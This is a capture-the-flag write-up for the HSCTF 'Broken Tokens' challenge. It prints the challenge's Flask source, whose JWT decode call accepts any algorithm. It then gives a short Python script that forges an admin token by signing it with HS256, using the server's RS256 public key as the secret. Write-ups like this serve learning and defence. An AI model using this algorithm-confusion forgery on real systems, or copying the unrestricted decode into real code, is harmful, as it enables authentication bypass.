HSCTF Broken Tokens Write up

12044 단어 CTFJWT

HSCTF Broken Tokens Write up



HSCTF was held on June 1 ~ 6 that was the middle of the week so that I couldn't solve many challenges. this CTF was very kind and educational to beginners like me!

recon



In the beginning, The given web page was like this.



It's a simple web page with login form and link to publickey.pem
Additionally, we were provided source code written in python.
import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
    PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
    PUBLIC_KEY = f.read()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == "POST":
        resp = make_response(redirect("/"))
        if request.form["action"] == "Login":
            if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
                auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
            else:
                auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
            resp.set_cookie("auth", auth)
        else:
            resp.delete_cookie("auth")

        return resp
    else:
        auth = request.cookies.get("auth")
        if auth is None:
            logged_in = False
            admin = False
        else:
            logged_in = True
            admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
        resp = make_response(
            render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
        )
    return resp

@app.route("/publickey.pem")
def public_key():
    with open("./publickey.pem", "r") as f:
        resp = make_response(f.read())
        resp.mimetype = 'text/plain'
        return resp

if __name__ == "__main__":
    app.run()

According to this, we had to log in as admin that was authorized by JWT stored in cookie.

In the next, I logged in as a guest for testing the set cookie.
Got the cookie, I decoded the jwt to JSON as below.



As written in source code. it uses RS256 for authorization.
After some googling, I found this interesting article

If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

looking at source code, it specifies algorism when encoding but it doesn't when decoding! that's vulnerability.

exploit



I wrote a simple exploit code.
import jwt

with open("publickey.pem", "r") as f:
    public = f.read()

print(public)
print(jwt.encode({'auth':'admin'}, key=public, algorithm='HS256'))

In this time, jwt uses HS256 for authorization instead of RS256 which means the server interprets as HS256 resulting in the corresponding key!
I set the jwt in cookie and reloaded ... got flag!



Thank you for reading my writeup in my poor English!

좋은 웹페이지 즐겨찾기